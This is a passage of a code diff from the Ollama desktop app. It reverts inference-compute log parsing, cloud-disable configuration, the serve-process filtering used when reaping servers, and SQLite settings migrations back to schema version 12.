 // Attempt to retrieve inference compute information from the server
 // log.  Set ctx to timeout to control how long to wait for the logs to appear
-func GetInferenceInfo(ctx context.Context) (*InferenceInfo, error) {
-	info := &InferenceInfo{}
-	computeMarker := regexp.MustCompile(`inference compute.*library=`)
-	defaultCtxMarker := regexp.MustCompile(`vram-based default context`)
-	defaultCtxRegex := regexp.MustCompile(`default_num_ctx=(\d+)`)
-
+func GetInferenceComputer(ctx context.Context) ([]InferenceCompute, error) {
+	inference := []InferenceCompute{}
+	marker := regexp.MustCompile(`inference compute.*library=`)
 	q := `inference compute.*%s=["]([^"]*)["]`
 	nq := `inference compute.*%s=(\S+)\s`
 	type regex struct {
@@ -371,8 +330,8 @@ func GetInferenceInfo(ctx context.Context) (*InferenceInfo, error) {
 		scanner := bufio.NewScanner(file)
 		for scanner.Scan() {
 			line := scanner.Text()
-			// Check for inference compute lines
-			if computeMarker.MatchString(line) {
+			match := marker.FindStringSubmatch(line)
+			if len(match) > 0 {
 				ic := InferenceCompute{
 					Library: get("library", line),
 					Variant: get("variant", line),
@@ -383,25 +342,12 @@ func GetInferenceInfo(ctx context.Context) (*InferenceInfo, error) {
 				}
 
 				slog.Info("Matched", "inference compute", ic)
-				info.Computes = append(info.Computes, ic)
-				continue
-			}
-			// Check for default context length line
-			if defaultCtxMarker.MatchString(line) {
-				match := defaultCtxRegex.FindStringSubmatch(line)
-				if len(match) > 1 {
-					numCtx, err := strconv.Atoi(match[1])
-					if err == nil {
-						info.DefaultContextLength = numCtx
-						slog.Info("Matched default context length", "default_num_ctx", numCtx)
-					}
+				inference = append(inference, ic)
+			} else {
+				// Break out on first non matching line after we start matching
+				if len(inference) > 0 {
+					return inference, nil
 				}
-				return info, nil
-			}
-			// If we've found compute info but hit a non-matching line, return what we have
-			// This handles older server versions that don't log the default context line
-			if len(info.Computes) > 0 {
-				return info, nil
 			}
 		}
 		time.Sleep(100 * time.Millisecond)

app/server/server_test.go

@@ -111,7 +111,7 @@ func TestServerCmd(t *testing.T) {
 			for _, want := range tt.want {
 				found := false
 				for _, env := range cmd.Env {
-					if strings.HasPrefix(env, want) {
+					if strings.Contains(env, want) {
 						found = true
 						break
 					}
@@ -123,7 +123,7 @@ func TestServerCmd(t *testing.T) {
 
 			for _, dont := range tt.dont {
 				for _, env := range cmd.Env {
-					if strings.HasPrefix(env, dont) {
+					if strings.Contains(env, dont) {
 						t.Errorf("unexpected environment variable: %s", env)
 					}
 				}
@@ -136,176 +136,44 @@ func TestServerCmd(t *testing.T) {
 	}
 }
 
-func TestServerCmdCloudSettingEnv(t *testing.T) {
-	tests := []struct {
-		name          string
-		envValue      string
-		configContent string
-		want          string
-	}{
-		{
-			name: "default cloud enabled",
-			want: "OLLAMA_NO_CLOUD=0",
-		},
-		{
-			name:     "env disables cloud",
-			envValue: "1",
-			want:     "OLLAMA_NO_CLOUD=1",
-		},
-		{
-			name:          "config disables cloud",
-			configContent: `{"disable_ollama_cloud": true}`,
-			want:          "OLLAMA_NO_CLOUD=1",
-		},
-		{
-			name:     "invalid env disables cloud",
-			envValue: "invalid",
-			want:     "OLLAMA_NO_CLOUD=1",
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			tmpHome := t.TempDir()
-			t.Setenv("HOME", tmpHome)
-			t.Setenv("USERPROFILE", tmpHome)
-			t.Setenv("OLLAMA_NO_CLOUD", tt.envValue)
-
-			if tt.configContent != "" {
-				configDir := filepath.Join(tmpHome, ".ollama")
-				if err := os.MkdirAll(configDir, 0o755); err != nil {
-					t.Fatalf("mkdir config dir: %v", err)
-				}
-				configPath := filepath.Join(configDir, "server.json")
-				if err := os.WriteFile(configPath, []byte(tt.configContent), 0o644); err != nil {
-					t.Fatalf("write config: %v", err)
-				}
-			}
-
-			st := &store.Store{DBPath: filepath.Join(t.TempDir(), "db.sqlite")}
-			defer st.Close()
-
-			s := &Server{store: st}
-			cmd, err := s.cmd(t.Context())
-			if err != nil {
-				t.Fatalf("s.cmd() error = %v", err)
-			}
-
-			found := false
-			for _, env := range cmd.Env {
-				if env == tt.want {
-					found = true
-					break
-				}
-			}
-			if !found {
-				t.Fatalf("expected environment variable %q in command env", tt.want)
-			}
-		})
-	}
-}
-
-func TestOllamaServeArgs(t *testing.T) {
+func TestGetInferenceComputer(t *testing.T) {
 	tests := []struct {
 		name string
-		args []string
-		want bool
-	}{
-		{
-			name: "system ollama serve",
-			args: []string{"ollama", "serve"},
-			want: true,
-		},
-		{
-			name: "relative path ollama serve",
-			args: []string{"./ollama", "serve"},
-			want: true,
-		},
-		{
-			name: "serve after other flags",
-			args: []string{"./ollama", "--verbose", "serve"},
-			want: true,
-		},
-		{
-			name: "start alias",
-			args: []string{"ollama", "start"},
-			want: true,
-		},
-		{
-			name: "launch command",
-			args: []string{"ollama", "launch", "opencode"},
-			want: false,
-		},
-		{
-			name: "run command with model named serve",
-			args: []string{"ollama", "run", "serve"},
-			want: false,
-		},
-		{
-			name: "launch command with serve in passthrough args",
-			args: []string{"ollama", "launch", "codex", "--", "-p", "serve"},
-			want: false,
-		},
-		{
-			name: "different executable",
-			args: []string{"go", "run", "serve"},
-			want: false,
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			if got := ollamaServeArgs(tt.args); got != tt.want {
-				t.Fatalf("ollamaServeArgs(%v) = %v, want %v", tt.args, got, tt.want)
-			}
-		})
-	}
-}
-
-func TestGetInferenceInfo(t *testing.T) {
-	tests := []struct {
-		name             string
-		log              string
-		expComputes      []InferenceCompute
-		expDefaultCtxLen int
+		log  string
+		exp  []InferenceCompute
 	}{
 		{
 			name: "metal",
 			log: `time=2025-06-30T09:23:07.374-07:00 level=DEBUG source=sched.go:108 msg="starting llm scheduler"
 time=2025-06-30T09:23:07.416-07:00 level=INFO source=types.go:130 msg="inference compute" id=0 library=metal variant="" compute="" driver=0.0 name="" total="96.0 GiB" available="96.0 GiB"
-time=2025-06-30T09:23:07.417-07:00 level=INFO source=routes.go:1721 msg="vram-based default context" total_vram="96.0 GiB" default_num_ctx=262144
 time=2025-06-30T09:25:56.197-07:00 level=DEBUG source=ggml.go:155 msg="key not found" key=general.alignment default=32
 `,
-			expComputes: []InferenceCompute{{
+			exp: []InferenceCompute{{
 				Library: "metal",
 				Driver:  "0.0",
 				VRAM:    "96.0 GiB",
 			}},
-			expDefaultCtxLen: 262144,
 		},
 		{
 			name: "cpu",
 			log: `time=2025-07-01T17:59:51.470Z level=INFO source=gpu.go:377 msg="no compatible GPUs were discovered"
 time=2025-07-01T17:59:51.470Z level=INFO source=types.go:130 msg="inference compute" id=0 library=cpu variant="" compute="" driver=0.0 name="" total="31.3 GiB" available="30.4 GiB"
-time=2025-07-01T17:59:51.471Z level=INFO source=routes.go:1721 msg="vram-based default context" total_vram="31.3 GiB" default_num_ctx=32768
 [GIN] 2025/07/01 - 18:00:09 | 200 |      50.263µs | 100.126.204.152 | HEAD     "/"
 `,
-			expComputes: []InferenceCompute{{
+			exp: []InferenceCompute{{
 				Library: "cpu",
 				Driver:  "0.0",
 				VRAM:    "31.3 GiB",
 			}},
-			expDefaultCtxLen: 32768,
 		},
 		{
 			name: "cuda1",
 			log: `time=2025-07-01T19:33:43.162Z level=DEBUG source=amd_linux.go:419 msg="amdgpu driver not detected /sys/module/amdgpu"
 releasing cuda driver library
 time=2025-07-01T19:33:43.162Z level=INFO source=types.go:130 msg="inference compute" id=GPU-452cac9f-6960-839c-4fb3-0cec83699196 library=cuda variant=v12 compute=6.1 driver=12.7 name="NVIDIA GeForce GT 1030" total="3.9 GiB" available="3.9 GiB"
-time=2025-07-01T19:33:43.163Z level=INFO source=routes.go:1721 msg="vram-based default context" total_vram="3.9 GiB" default_num_ctx=4096
 [GIN] 2025/07/01 - 18:00:09 | 200 |      50.263µs | 100.126.204.152 | HEAD     "/"
 `,
-			expComputes: []InferenceCompute{{
+			exp: []InferenceCompute{{
 				Library: "cuda",
 				Variant: "v12",
 				Compute: "6.1",
@@ -313,7 +181,6 @@ time=2025-07-01T19:33:43.163Z level=INFO source=routes.go:1721 msg="vram-based d
 				Name:    "NVIDIA GeForce GT 1030",
 				VRAM:    "3.9 GiB",
 			}},
-			expDefaultCtxLen: 4096,
 		},
 		{
 			name: "frank",
@@ -321,10 +188,9 @@ time=2025-07-01T19:33:43.163Z level=INFO source=routes.go:1721 msg="vram-based d
 		releasing cuda driver library
 		time=2025-07-01T19:36:13.315Z level=INFO source=types.go:130 msg="inference compute" id=GPU-d6de3398-9932-6902-11ec-fee8e424c8a2 library=cuda variant=v12 compute=7.5 driver=12.8 name="NVIDIA GeForce RTX 2080 Ti" total="10.6 GiB" available="10.4 GiB"
 		time=2025-07-01T19:36:13.315Z level=INFO source=types.go:130 msg="inference compute" id=GPU-9abb57639fa80c50 library=rocm variant="" compute=gfx1030 driver=6.3 name=1002:73bf total="16.0 GiB" available="1.3 GiB"
-		time=2025-07-01T19:36:13.316Z level=INFO source=routes.go:1721 msg="vram-based default context" total_vram="26.6 GiB" default_num_ctx=32768
 		[GIN] 2025/07/01 - 18:00:09 | 200 |      50.263µs | 100.126.204.152 | HEAD     "/"
 		`,
-			expComputes: []InferenceCompute{
+			exp: []InferenceCompute{
 				{
 					Library: "cuda",
 					Variant: "v12",
@@ -341,20 +207,6 @@ time=2025-07-01T19:33:43.163Z level=INFO source=routes.go:1721 msg="vram-based d
 					VRAM:    "16.0 GiB",
 				},
 			},
-			expDefaultCtxLen: 32768,
-		},
-		{
-			name: "missing_default_context",
-			log: `time=2025-06-30T09:23:07.374-07:00 level=DEBUG source=sched.go:108 msg="starting llm scheduler"
-time=2025-06-30T09:23:07.416-07:00 level=INFO source=types.go:130 msg="inference compute" id=0 library=metal variant="" compute="" driver=0.0 name="" total="96.0 GiB" available="96.0 GiB"
-time=2025-06-30T09:25:56.197-07:00 level=DEBUG source=ggml.go:155 msg="key not found" key=general.alignment default=32
-`,
-			expComputes: []InferenceCompute{{
-				Library: "metal",
-				Driver:  "0.0",
-				VRAM:    "96.0 GiB",
-			}},
-			expDefaultCtxLen: 0, // No default context line, should return 0
 		},
 	}
 	for _, tt := range tests {
@@ -367,21 +219,18 @@ time=2025-06-30T09:25:56.197-07:00 level=DEBUG source=ggml.go:155 msg="key not f
 			}
 			ctx, cancel := context.WithTimeout(t.Context(), 10*time.Millisecond)
 			defer cancel()
-			info, err := GetInferenceInfo(ctx)
+			ics, err := GetInferenceComputer(ctx)
 			if err != nil {
-				t.Fatalf("failed to get inference info: %v", err)
+				t.Fatalf(" failed to get inference compute: %v", err)
 			}
-			if !reflect.DeepEqual(info.Computes, tt.expComputes) {
-				t.Fatalf("computes mismatch\ngot:\n%#v\nwant:\n%#v", info.Computes, tt.expComputes)
-			}
-			if info.DefaultContextLength != tt.expDefaultCtxLen {
-				t.Fatalf("default context length mismatch: got %d, want %d", info.DefaultContextLength, tt.expDefaultCtxLen)
+			if !reflect.DeepEqual(ics, tt.exp) {
+				t.Fatalf("got:\n%#v\nwant:\n%#v", ics, tt.exp)
 			}
 		})
 	}
 }
 
-func TestGetInferenceInfoTimeout(t *testing.T) {
+func TestGetInferenceComputerTimeout(t *testing.T) {
 	ctx, cancel := context.WithTimeout(t.Context(), 10*time.Millisecond)
 	defer cancel()
 	tmpDir := t.TempDir()
@@ -390,7 +239,7 @@ func TestGetInferenceInfoTimeout(t *testing.T) {
 	if err != nil {
 		t.Fatalf("failed to write log file %s: %s", serverLogPath, err)
 	}
-	_, err = GetInferenceInfo(ctx)
+	_, err = GetInferenceComputer(ctx)
 	if err == nil {
 		t.Fatal("expected timeout")
 	}

app/server/server_unix.go

@@ -46,17 +46,7 @@ func terminated(pid int) (bool, error) {
 	return false, nil
 }
 
-func ollamaServeProcess(pid int) bool {
-	output, err := exec.Command("ps", "-p", strconv.Itoa(pid), "-o", "args=").Output()
-	if err != nil {
-		slog.Debug("failed to inspect ollama process", "pid", pid, "err", err)
-		return false
-	}
-
-	return ollamaServeArgs(strings.Fields(strings.TrimSpace(string(output))))
-}
-
-// reapServers kills external ollama serve processes except our own.
+// reapServers kills all ollama processes except our own
 func reapServers() error {
 	// Get our own PID to avoid killing ourselves
 	currentPID := os.Getpid()
@@ -92,9 +82,6 @@ func reapServers() error {
 		if pid == currentPID {
 			continue
 		}
-		if !ollamaServeProcess(pid) {
-			continue
-		}
 
 		proc, err := os.FindProcess(pid)
 		if err != nil {

app/server/server_windows.go

@@ -101,29 +101,7 @@ func terminated(pid int) (bool, error) {
 	return true, nil
 }
 
-func ollamaServeProcess(pid int) bool {
-	cmd := exec.Command("wmic", "process", "where", fmt.Sprintf("ProcessId=%d", pid), "get", "CommandLine", "/value")
-	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
-	output, err := cmd.Output()
-	if err != nil {
-		slog.Debug("failed to inspect ollama process", "pid", pid, "err", err)
-		return false
-	}
-
-	for _, line := range strings.Split(string(output), "\n") {
-		line = strings.TrimSpace(line)
-		commandLine, ok := strings.CutPrefix(line, "CommandLine=")
-		if !ok {
-			continue
-		}
-
-		return ollamaServeArgs(strings.Fields(strings.ToLower(commandLine)))
-	}
-
-	return false
-}
-
-// reapServers kills external ollama serve processes except our own.
+// reapServers kills all ollama processes except our own
 func reapServers() error {
 	// Get current process ID to avoid killing ourselves
 	currentPID := os.Getpid()
@@ -160,11 +138,8 @@ func reapServers() error {
 		if pid == currentPID {
 			continue
 		}
-		if !ollamaServeProcess(pid) {
-			continue
-		}
 
-		cmd := exec.Command("taskkill", "/F", "/T", "/PID", pidStr)
+		cmd := exec.Command("taskkill", "/F", "/PID", pidStr)
 		if err := cmd.Run(); err != nil {
 			slog.Warn("failed to kill ollama process", "pid", pid, "err", err)
 		}

app/store/cloud_config.go

@@ -1,128 +0,0 @@
-//go:build windows || darwin
-
-package store
-
-import (
-	"encoding/json"
-	"errors"
-	"fmt"
-	"os"
-	"path/filepath"
-
-	"github.com/ollama/ollama/envconfig"
-)
-
-const serverConfigFilename = "server.json"
-
-type serverConfig struct {
-	DisableOllamaCloud bool `json:"disable_ollama_cloud,omitempty"`
-}
-
-// CloudDisabled returns whether cloud features should be disabled.
-// The source of truth is: OLLAMA_NO_CLOUD OR ~/.ollama/server.json:disable_ollama_cloud.
-func (s *Store) CloudDisabled() (bool, error) {
-	disabled, _, err := s.CloudStatus()
-	return disabled, err
-}
-
-// CloudStatus returns whether cloud is disabled and the source of that decision.
-// Source is one of: "none", "env", "config", "both".
-func (s *Store) CloudStatus() (bool, string, error) {
-	if err := s.ensureDB(); err != nil {
-		return false, "", err
-	}
-
-	configDisabled, err := readServerConfigCloudDisabled()
-	if err != nil {
-		return false, "", err
-	}
-
-	envDisabled := envconfig.NoCloudEnv()
-	return envDisabled || configDisabled, cloudStatusSource(envDisabled, configDisabled), nil
-}
-
-// SetCloudEnabled writes the cloud setting to ~/.ollama/server.json.
-func (s *Store) SetCloudEnabled(enabled bool) error {
-	if err := s.ensureDB(); err != nil {
-		return err
-	}
-	return setCloudEnabled(enabled)
-}
-
-func setCloudEnabled(enabled bool) error {
-	configPath, err := serverConfigPath()
-	if err != nil {
-		return err
-	}
-
-	if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
-		return fmt.Errorf("create server config directory: %w", err)
-	}
-
-	configMap := map[string]any{}
-	if data, err := os.ReadFile(configPath); err == nil {
-		if err := json.Unmarshal(data, &configMap); err != nil {
-			// If the existing file is invalid JSON, overwrite with a fresh object.
-			configMap = map[string]any{}
-		}
-	} else if !errors.Is(err, os.ErrNotExist) {
-		return fmt.Errorf("read server config: %w", err)
-	}
-
-	configMap["disable_ollama_cloud"] = !enabled
-
-	data, err := json.MarshalIndent(configMap, "", "  ")
-	if err != nil {
-		return fmt.Errorf("marshal server config: %w", err)
-	}
-	data = append(data, '\n')
-
-	if err := os.WriteFile(configPath, data, 0o644); err != nil {
-		return fmt.Errorf("write server config: %w", err)
-	}
-
-	return nil
-}
-
-func readServerConfigCloudDisabled() (bool, error) {
-	configPath, err := serverConfigPath()
-	if err != nil {
-		return false, err
-	}
-
-	data, err := os.ReadFile(configPath)
-	if err != nil {
-		if errors.Is(err, os.ErrNotExist) {
-			return false, nil
-		}
-		return false, fmt.Errorf("read server config: %w", err)
-	}
-
-	var cfg serverConfig
-	// Invalid or unexpected JSON should not block startup; treat as default.
-	if json.Unmarshal(data, &cfg) == nil {
-		return cfg.DisableOllamaCloud, nil
-	}
-	return false, nil
-}
-
-func serverConfigPath() (string, error) {
-	home, err := os.UserHomeDir()
-	if err != nil {
-		return "", fmt.Errorf("resolve home directory: %w", err)
-	}
-	return filepath.Join(home, ".ollama", serverConfigFilename), nil
-}
-
-func cloudStatusSource(envDisabled bool, configDisabled bool) string {
-	switch {
-	case envDisabled && configDisabled:
-		return "both"
-	case envDisabled:
-		return "env"
-	case configDisabled:
-		return "config"
-	default:
-		return "none"
-	}
-}

app/store/cloud_config_test.go

@@ -1,130 +0,0 @@
-//go:build windows || darwin
-
-package store
-
-import (
-	"encoding/json"
-	"os"
-	"path/filepath"
-	"testing"
-)
-
-func TestCloudDisabled(t *testing.T) {
-	tests := []struct {
-		name          string
-		envValue      string
-		configContent string
-		wantDisabled  bool
-		wantSource    string
-	}{
-		{
-			name:         "default enabled",
-			wantDisabled: false,
-			wantSource:   "none",
-		},
-		{
-			name:         "env disables cloud",
-			envValue:     "1",
-			wantDisabled: true,
-			wantSource:   "env",
-		},
-		{
-			name:          "config disables cloud",
-			configContent: `{"disable_ollama_cloud": true}`,
-			wantDisabled:  true,
-			wantSource:    "config",
-		},
-		{
-			name:          "env and config",
-			envValue:      "1",
-			configContent: `{"disable_ollama_cloud": false}`,
-			wantDisabled:  true,
-			wantSource:    "env",
-		},
-		{
-			name:          "invalid config is ignored",
-			configContent: `{bad`,
-			wantDisabled:  false,
-			wantSource:    "none",
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			tmpHome := t.TempDir()
-			setTestHome(t, tmpHome)
-			t.Setenv("OLLAMA_NO_CLOUD", tt.envValue)
-
-			if tt.configContent != "" {
-				configDir := filepath.Join(tmpHome, ".ollama")
-				if err := os.MkdirAll(configDir, 0o755); err != nil {
-					t.Fatalf("mkdir config dir: %v", err)
-				}
-				configPath := filepath.Join(configDir, serverConfigFilename)
-				if err := os.WriteFile(configPath, []byte(tt.configContent), 0o644); err != nil {
-					t.Fatalf("write config: %v", err)
-				}
-			}
-
-			s := &Store{DBPath: filepath.Join(tmpHome, "db.sqlite")}
-			defer s.Close()
-
-			disabled, err := s.CloudDisabled()
-			if err != nil {
-				t.Fatalf("CloudDisabled() error = %v", err)
-			}
-			if disabled != tt.wantDisabled {
-				t.Fatalf("CloudDisabled() = %v, want %v", disabled, tt.wantDisabled)
-			}
-
-			statusDisabled, source, err := s.CloudStatus()
-			if err != nil {
-				t.Fatalf("CloudStatus() error = %v", err)
-			}
-			if statusDisabled != tt.wantDisabled {
-				t.Fatalf("CloudStatus() disabled = %v, want %v", statusDisabled, tt.wantDisabled)
-			}
-			if source != tt.wantSource {
-				t.Fatalf("CloudStatus() source = %v, want %v", source, tt.wantSource)
-			}
-		})
-	}
-}
-
-func TestSetCloudEnabled(t *testing.T) {
-	tmpHome := t.TempDir()
-	setTestHome(t, tmpHome)
-
-	configDir := filepath.Join(tmpHome, ".ollama")
-	if err := os.MkdirAll(configDir, 0o755); err != nil {
-		t.Fatalf("mkdir config dir: %v", err)
-	}
-	configPath := filepath.Join(configDir, serverConfigFilename)
-	if err := os.WriteFile(configPath, []byte(`{"another_key":"value","disable_ollama_cloud":true}`), 0o644); err != nil {
-		t.Fatalf("seed config: %v", err)
-	}
-
-	s := &Store{DBPath: filepath.Join(tmpHome, "db.sqlite")}
-	defer s.Close()
-
-	if err := s.SetCloudEnabled(true); err != nil {
-		t.Fatalf("SetCloudEnabled(true) error = %v", err)
-	}
-
-	data, err := os.ReadFile(configPath)
-	if err != nil {
-		t.Fatalf("read config: %v", err)
-	}
-
-	var got map[string]any
-	if err := json.Unmarshal(data, &got); err != nil {
-		t.Fatalf("unmarshal config: %v", err)
-	}
-
-	if got["disable_ollama_cloud"] != false {
-		t.Fatalf("disable_ollama_cloud = %v, want false", got["disable_ollama_cloud"])
-	}
-	if got["another_key"] != "value" {
-		t.Fatalf("another_key = %v, want value", got["another_key"])
-	}
-}

app/store/database.go

@@ -9,12 +9,12 @@ import (
 	"strings"
 	"time"
 
-	_ "github.com/mattn/go-sqlite3"
+	sqlite3 "github.com/mattn/go-sqlite3"
 )
 
 // currentSchemaVersion defines the current database schema version.
 // Increment this when making schema changes that require migrations.
-const currentSchemaVersion = 18
+const currentSchemaVersion = 12
 
 // database wraps the SQLite connection.
 // SQLite handles its own locking for concurrent access:
@@ -73,7 +73,7 @@ func (db *database) init() error {
 		agent BOOLEAN NOT NULL DEFAULT 0,
 		tools BOOLEAN NOT NULL DEFAULT 0,
 		working_dir TEXT NOT NULL DEFAULT '',
-		context_length INTEGER NOT NULL DEFAULT 0,
+		context_length INTEGER NOT NULL DEFAULT 4096,
 		window_width INTEGER NOT NULL DEFAULT 0,
 		window_height INTEGER NOT NULL DEFAULT 0,
 		config_migrated BOOLEAN NOT NULL DEFAULT 0,
@@ -82,14 +82,9 @@ func (db *database) init() error {
 		websearch_enabled BOOLEAN NOT NULL DEFAULT 0,
 		selected_model TEXT NOT NULL DEFAULT '',
 		sidebar_open BOOLEAN NOT NULL DEFAULT 0,
-		last_home_view TEXT NOT NULL DEFAULT 'chat',
-		onboarding_version INTEGER NOT NULL DEFAULT 0,
 		think_enabled BOOLEAN NOT NULL DEFAULT 0,
 		think_level TEXT NOT NULL DEFAULT '',
-		cloud_setting_migrated BOOLEAN NOT NULL DEFAULT 0,
 		remote TEXT NOT NULL DEFAULT '', -- deprecated
-		auto_update_enabled BOOLEAN NOT NULL DEFAULT 1,
-		claude_desktop_used BOOLEAN NOT NULL DEFAULT 0,
 		schema_version INTEGER NOT NULL DEFAULT %d
 	);
 
@@ -249,42 +244,6 @@ func (db *database) migrate() error {
 				return fmt.Errorf("migrate v11 to v12: %w", err)
 			}
 			version = 12
-		case 12:
-			// add cloud_setting_migrated column to settings table
-			if err := db.migrateV12ToV13(); err != nil {
-				return fmt.Errorf("migrate v12 to v13: %w", err)
-			}
-			version = 13
-		case 13:
-			// change default context_length from 4096 to 0 (VRAM-based tiered defaults)
-			if err := db.migrateV13ToV14(); err != nil {
-				return fmt.Errorf("migrate v13 to v14: %w", err)
-			}
-			version = 14
-		case 14:
-			// add auto_update_enabled column to settings table
-			if err := db.migrateV14ToV15(); err != nil {
-				return fmt.Errorf("migrate v14 to v15: %w", err)
-			}
-			version = 15
-		case 15:
-			// add last_home_view column to settings table
-			if err := db.migrateV15ToV16(); err != nil {
-				return fmt.Errorf("migrate v15 to v16: %w", err)
-			}
-			version = 16
-		case 16:
-			// Existing users should not be shown onboarding after an upgrade.
-			if err := db.migrateV16ToV17(); err != nil {
-				return fmt.Errorf("migrate v16 to v17: %w", err)
-			}
-			version = 17
-		case 17:
-			// Remember that Claude Desktop has been connected at least once.
-			if err := db.migrateV17ToV18(); err != nil {
-				return fmt.Errorf("migrate v17 to v18: %w", err)
-			}
-			version = 18
 		default:
 			// If we have a version we don't recognize, just set it to current
 			// This might happen during development
@@ -493,99 +452,6 @@ func (db *database) migrateV11ToV12() error {
 	return nil
 }
 
-// migrateV12ToV13 adds cloud_setting_migrated to settings.
-func (db *database) migrateV12ToV13() error {
-	_, err := db.conn.Exec(`ALTER TABLE settings ADD COLUMN cloud_setting_migrated BOOLEAN NOT NULL DEFAULT 0`)
-	if err != nil && !duplicateColumnError(err) {
-		return fmt.Errorf("add cloud_setting_migrated column: %w", err)
-	}
-
-	_, err = db.conn.Exec(`UPDATE settings SET schema_version = 13`)
-	if err != nil {
-		return fmt.Errorf("update schema version: %w", err)
-	}
-
-	return nil
-}
-
-// migrateV13ToV14 changes the default context_length from 4096 to 0.
-// When context_length is 0, the ollama server uses VRAM-based tiered defaults.
-func (db *database) migrateV13ToV14() error {
-	_, err := db.conn.Exec(`UPDATE settings SET context_length = 0 WHERE context_length = 4096`)
-	if err != nil {
-		return fmt.Errorf("update context_length default: %w", err)
-	}
-
-	_, err = db.conn.Exec(`UPDATE settings SET schema_version = 14`)
-	if err != nil {
-		return fmt.Errorf("update schema version: %w", err)
-	}
-
-	return nil
-}
-
-// migrateV14ToV15 adds the auto_update_enabled column to the settings table
-func (db *database) migrateV14ToV15() error {
-	_, err := db.conn.Exec(`ALTER TABLE settings ADD COLUMN auto_update_enabled BOOLEAN NOT NULL DEFAULT 1`)
-	if err != nil && !duplicateColumnError(err) {
-		return fmt.Errorf("add auto_update_enabled column: %w", err)
-	}
-
-	_, err = db.conn.Exec(`UPDATE settings SET schema_version = 15`)
-	if err != nil {
-		return fmt.Errorf("update schema version: %w", err)
-	}
-
-	return nil
-}
-
-// migrateV15ToV16 adds the last_home_view column to the settings table
-func (db *database) migrateV15ToV16() error {
-	_, err := db.conn.Exec(`ALTER TABLE settings ADD COLUMN last_home_view TEXT NOT NULL DEFAULT 'chat'`)
-	if err != nil && !duplicateColumnError(err) {
-		return fmt.Errorf("add last_home_view column: %w", err)
-	}
-
-	_, err = db.conn.Exec(`UPDATE settings SET schema_version = 16`)
-	if err != nil {
-		return fmt.Errorf("update schema version: %w", err)
-	}
-
-	return nil
-}
-
-// migrateV16ToV17 adds versioned onboarding state. The schema default stays at
-// zero for genuinely new installs, while all existing rows are marked complete
-// and moved off the retired launch home view.
-func (db *database) migrateV16ToV17() error {
-	_, err := db.conn.Exec(`ALTER TABLE settings ADD COLUMN onboarding_version INTEGER NOT NULL DEFAULT 0`)
-	if err != nil && !duplicateColumnError(err) {
-		return fmt.Errorf("add onboarding_version column: %w", err)
-	}
-
-	_, err = db.conn.Exec(`UPDATE settings SET onboarding_version = 1, last_home_view = 'chat', schema_version = 17`)
-	if err != nil {
-		return fmt.Errorf("complete onboarding for existing users: %w", err)
-	}
-
-	return nil
-}
-
-// migrateV17ToV18 adds durable Claude Desktop integration history.
-func (db *database) migrateV17ToV18() error {
-	_, err := db.conn.Exec(`ALTER TABLE settings ADD COLUMN claude_desktop_used BOOLEAN NOT NULL DEFAULT 0`)
-	if err != nil && !duplicateColumnError(err) {
-		return fmt.Errorf("add claude_desktop_used column: %w", err)
-	}
-
-	_, err = db.conn.Exec(`UPDATE settings SET schema_version = 18`)
-	if err != nil {
-		return fmt.Errorf("update schema version: %w", err)
-	}
-
-	return nil
-}
-
 // cleanupOrphanedData removes orphaned records that may exist due to the foreign key bug
 func (db *database) cleanupOrphanedData() error {
 	_, err := db.conn.Exec(`
@@ -616,11 +482,19 @@ func (db *database) cleanupOrphanedData() error {
 }
 
 func duplicateColumnError(err error) bool {
-	return err != nil && strings.Contains(err.Error(), "duplicate column name")
+	if sqlite3Err, ok := err.(sqlite3.Error); ok {
+		return sqlite3Err.Code == sqlite3.ErrError &&
+			strings.Contains(sqlite3Err.Error(), "duplicate column name")
+	}
+	return false
 }
 
 func columnNotExists(err error) bool {
-	return err != nil && strings.Contains(err.Error(), "no such column")
+	if sqlite3Err, ok := err.(sqlite3.Error); ok {
+		return sqlite3Err.Code == sqlite3.ErrError &&
+			strings.Contains(sqlite3Err.Error(), "no such column")
+	}
+	return false
 }
 
 func (db *database) getAllChats() ([]Chat, error) {
@@ -1234,9 +1108,9 @@ func (db *database) getSettings() (Settings, error) {
 	var s Settings
 
 	err := db.conn.QueryRow(`
-		SELECT expose, survey, browser, models, agent, tools, working_dir, context_length, turbo_enabled, websearch_enabled, selected_model, sidebar_open, last_home_view, onboarding_version, think_enabled, think_level, auto_update_enabled, claude_desktop_used
+		SELECT expose, survey, browser, models, agent, tools, working_dir, context_length, airplane_mode, turbo_enabled, websearch_enabled, selected_model, sidebar_open, think_enabled, think_level 
 		FROM settings
-	`).Scan(&s.Expose, &s.Survey, &s.Browser, &s.Models, &s.Agent, &s.Tools, &s.WorkingDir, &s.ContextLength, &s.TurboEnabled, &s.WebSearchEnabled, &s.SelectedModel, &s.SidebarOpen, &s.LastHomeView, &s.OnboardingVersion, &s.ThinkEnabled, &s.ThinkLevel, &s.AutoUpdateEnabled, &s.ClaudeDesktopUsed)
+	`).Scan(&s.Expose, &s.Survey, &s.Browser, &s.Models, &s.Agent, &s.Tools, &s.WorkingDir, &s.ContextLength, &s.AirplaneMode, &s.TurboEnabled, &s.WebSearchEnabled, &s.SelectedModel, &s.SidebarOpen, &s.ThinkEnabled, &s.ThinkLevel)
 	if err != nil {
 		return Settings{}, fmt.Errorf("get settings: %w", err)
 	}
@@ -1245,47 +1119,16 @@ func (db *database) getSettings() (Settings, error) {
 }
 
 func (db *database) setSettings(s Settings) error {
-	lastHomeView := strings.ToLower(strings.TrimSpace(s.LastHomeView))
-	if lastHomeView != "chat" {
-		lastHomeView = "chat"
-	}
-
 	_, err := db.conn.Exec(`
-		UPDATE settings
-		SET expose = ?, survey = ?, browser = ?, models = ?, agent = ?, tools = ?, working_dir = ?, context_length = ?, turbo_enabled = ?, websearch_enabled = ?, selected_model = ?, sidebar_open = ?, last_home_view = ?, onboarding_version = ?, think_enabled = ?, think_level = ?, auto_update_enabled = ?, claude_desktop_used = ?
-	`, s.Expose, s.Survey, s.Browser, s.Models, s.Agent, s.Tools, s.WorkingDir, s.ContextLength, s.TurboEnabled, s.WebSearchEnabled, s.SelectedModel, s.SidebarOpen, lastHomeView, s.OnboardingVersion, s.ThinkEnabled, s.ThinkLevel, s.AutoUpdateEnabled, s.ClaudeDesktopUsed)
+		UPDATE settings 
